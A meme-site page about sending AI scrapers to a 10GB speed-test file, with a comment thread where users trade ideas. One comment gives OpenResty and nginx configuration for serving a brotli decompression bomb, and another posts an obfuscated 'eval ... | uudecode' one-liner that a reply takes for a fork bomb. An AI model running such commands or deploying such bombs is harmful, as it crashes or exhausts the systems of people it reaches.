Skip to content
DevMeme
5543 of 7590
AI ML Post #6085 · source on Telegram

Gently Discouraging AI Bots with a 10GB 'Welcome' Mat

Description

A screenshot of a text post detailing a creative and passive-aggressive method for handling AI web scrapers. The author explains that instead of simply blocking AI bots using robots.txt, they've configured their Next.js/Vercel server to redirect them to a 10GB file typically used for speed tests. The post includes the link to the file, followed by the mock-innocent phrases, 'I'm not saying you should do this, but I'm not saying you shouldn't do this,' and 'Oops, dropped a url. I'm sure it's fine.' The humor comes from the maliciousness of the solution; it's a 'tar pit' designed to waste the AI scraper's resources (time, bandwidth, storage) by forcing it to download a massive, useless file. This is a form of protest against the unsolicited scraping of web content for training AI models, a popular topic among developers

Comments

31
Anonymous ★ Top Pick Giving an AI scraper a 10GB file to download isn't a denial-of-service attack; it's just an extremely high-latency API response
  1. Anonymous ★ Top Pick

    Giving an AI scraper a 10GB file to download isn't a denial-of-service attack; it's just an extremely high-latency API response

  2. Anonymous

    Finally a rate-limit strategy that scales linearly with Hetzner’s invoice - turn every unsolicited crawl into an involuntary load test

  3. Anonymous

    Nothing says 'your training data is valuable to me' quite like redirecting GPTBot to a 10GB speed test file. It's the digital equivalent of answering spam calls with a fax machine noise - technically serving content, just not the kind they bargained for when they ignored your robots.txt

  4. Anonymous

    Ah yes, the elegant solution to AI scrapers: death by a thousand megabytes. It's like a tarpit, but instead of slowing them down with computational complexity, you're just making them download the entire Lord of the Rings extended edition in raw binary. The beauty is in the simplicity - no fancy rate limiting, no complex bot detection algorithms, just pure 'here, have 10GB of nothing and think about what you've done.' It's the digital equivalent of answering a telemarketer's call and just leaving the phone off the hook next to a running faucet. And the 'Oops, dropped a URL' is *chef's kiss* - plausible deniability meets malicious compliance. Though I suspect the real victims here are the junior devs who accidentally curl that endpoint during debugging at 4 AM on their metered connection

  5. Anonymous

    Call it externalized rate limiting: when the User-Agent says “GPTScraper”, we 302 to Hetzner’s 10GB.bin - robots.txt is optional, egress charges aren’t

  6. Anonymous

    robots.txt for polite bots; real serverless defense rewrites scrapers to Hetzner's eternal speed test gauntlet

  7. Anonymous

    Robots.txt asks nicely; my Next.js middleware replies with a 302 to Hetzner’s 10GB.bin - the only rate limit that invoices the crawler’s ISP instead of my CFO

  8. @Maxtox3 2y

    memes on this channel have gotten really bad

    1. @Sp1cyP3pp3r 2y

      that's not a meme, dude. that's a call to action

  9. @deerspangle 2y

    Anyone have a link to the blog post or whatever this is from?

  10. @slyveek 2y

    https://hil-speed.hetzner.com/10GB.bin

    1. @ZgGPuo8dZef58K6hxxGVj3Z2 2y

      Tbf they can fix this pretty easily

      1. @ZgGPuo8dZef58K6hxxGVj3Z2 2y

        Unless they actually proxy it

  11. @chenxuuu 2y

    just return a file with br encoding, only need 328KB disk space on server for a 400GB data

  12. @chenxuuu 2y

    this will cost server bandwidth...

  13. @chenxuuu 2y

    I create a file for test: https://b.j2.cx/bomb400G.br use this with openresty lua code (use with cloudflare will be better lol) #from https://www.chenxublog.com/2020/11/16/web-bomb-eat-memory.html location /large { default_type 'text/html'; content_by_lua_block { local f = io.open("/home/ubuntu/bomb400G.br","rb") if not f then ngx.say("file not found") return end ngx.header["Content-Encoding"] = "br" local data while true do data = f:read(1024) if nil == data then break end ngx.print(data) ngx.flush(true) end f:close() } }

    1. @Hollow_Arigo 2y

      DAMN, how you edit your message into this..

      1. @endisn16h 2y

        ```yapping_language ```yapping_language *insert yapping* ``` ```

        1. @qtsmolcat 2y

          eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

          1. @sylfn 2y

            is this supposed to be a fork bomb

            1. @qtsmolcat 2y

              I can neither confirm nor deny the allegations

    2. @purplesyringa 2y

      umm, what's the point of using lua? can't you just serve the file directly via nginx?

      1. @chenxuuu 2y

        openresty = nginx + ngx_lua module

      2. @chenxuuu 2y

        it ignore encoding in user's request header, force return br encoding

        1. @purplesyringa 2y

          i'm admittedly somewhat out of my depth, but can't nginx do just that without scripting?

          1. @chenxuuu 2y

            nginx conf location /br { default_type 'text/html'; add_header Content-Encoding br; more_clear_headers Content-Length; } but this can't hide Vary: Accept-Encoding, so can't cheat cloudflare

            1. @callofvoid0 2y

              wtf is this

  14. @M_Ali_S_S 2y

    ایرانی Iranian

    1. @sylfn 2y

      please use English in this chat

  15. @purplesyringa 2y

    mhm

  16. @qwnick 2y

    could they just check size with download metadata?

Use J and K for navigation